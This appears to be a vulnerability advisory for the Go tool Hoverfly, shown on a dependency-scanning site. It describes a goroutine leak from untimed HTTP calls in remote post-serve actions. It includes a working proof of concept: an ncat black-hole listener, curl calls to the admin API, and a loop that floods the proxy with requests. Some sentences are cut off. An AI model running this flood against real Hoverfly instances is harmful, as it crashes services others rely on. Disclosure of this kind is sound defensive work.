Go · github.com/SpectoLabs/hoverfly
Hoverfly: Denial of Service via Goroutine Leak in Remote Post-Serve Actions
Remote post-serve actions use http.DefaultClient without any timeout configuration. When the remote endpoint is unreachable or intentionally slow (accepts TCP connection but never responds), each triggered proxy request spawns a goroutine that blocks indefinitely on http.DefaultClient.Do(). An attacker can cause unbounded goroutine accumulation leading to memory exhaustion and process crash (OOM kill). Unlike local post-serve action execution, this requires no binary execution, only a URL pointing to a non-responsive endpoint.
1. Remote actions executed in goroutines without timeout (core/hoverfly.go:224-228):
go postServeAction.Execute(result.Pair, journalIDChannel, hf.Journal)
Post-serve actions are executed in separate goroutines with no recovery wrapper.
2. HTTP client has no timeout (core/action/action.go:128-143):
req, err := http.NewRequest("POST", action.Remote, bytes.NewBuffer(pairViewBytes))
// ...
resp, err := http.DefaultClient.Do(req) // No timeout! Blocks forever.
http.DefaultClient has zero timeout by default in Go. If the remote server:
...the goroutine blocks indefinitely. There is no context cancellation, no deadline, and no cleanup.
3. No goroutine limit or backpressure:
There is no limit on how many post-serve action goroutines can be active simultaneously. Each matching proxy request spawns a new one unconditionally.
4. The goroutine is never cleaned up:
The only exit path from Execute() is a successful (or failed) HTTP response. A non-responding server means the goroutine lives until the process is killed.
Step 1: Start a black-hole TCP listener (accepts connections, never responds)
# Option A: Use ncat
ncat -l -k 9999 &
# Option B: Use a non-routable IP (connections hang at TCP SYN)
# 192.0.2.1 is TEST-NET-1, guaranteed non-routable
# This causes http.DefaultClient to block on TCP connect timeout (which is also unlimited)
Step 2: Register remote post-serve action pointing to the black hole
curl -X PUT http://localhost:8888/api/v2/hoverfly/post-serve-action \
-H "Content-Type: application/json" \
-d '{
"actionName": "leak",
"remote": "http://192.0.2.1:9999/blackhole",
"delayInMs": 0
}'
Step 3: Load a catch-all simulation
curl -X PUT http://localhost:8888/api/v2/simulation \
-H "Content-Type: application/json" \
-d '{
"data": {
"pairs": [{
"request": {"path": [{"matcher": "glob", "value": "*"}]},
"response": {"status": 200, "body": "ok", "postServeAction": "leak"}
}],
"globalActions": {"delays": [], "delaysLogNormal": []}
},
"meta": {"schemaVersion": "v5.2"}
}'
Step 4: Flood with requests
# Each request spawns an immortal goroutine
for i in $(seq 1 10000); do
curl -s -x http://localhost:8500 "http://target.com/req${i}" &
# Throttle to avoid local FD exhaustion
[ $((i % 100)) -eq 0 ] && wait
done
Verified memory impact on Hoverfly v1.12.7:
Memory before: 20,064 KB
Memory after 50 requests: 23,376 KB
Memory increase: 3,312 KB (66 KB per goroutine)
At this rate:
An attacker with access to the admin API (unauthenticated by default) can cause a complete denial of service by:
Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.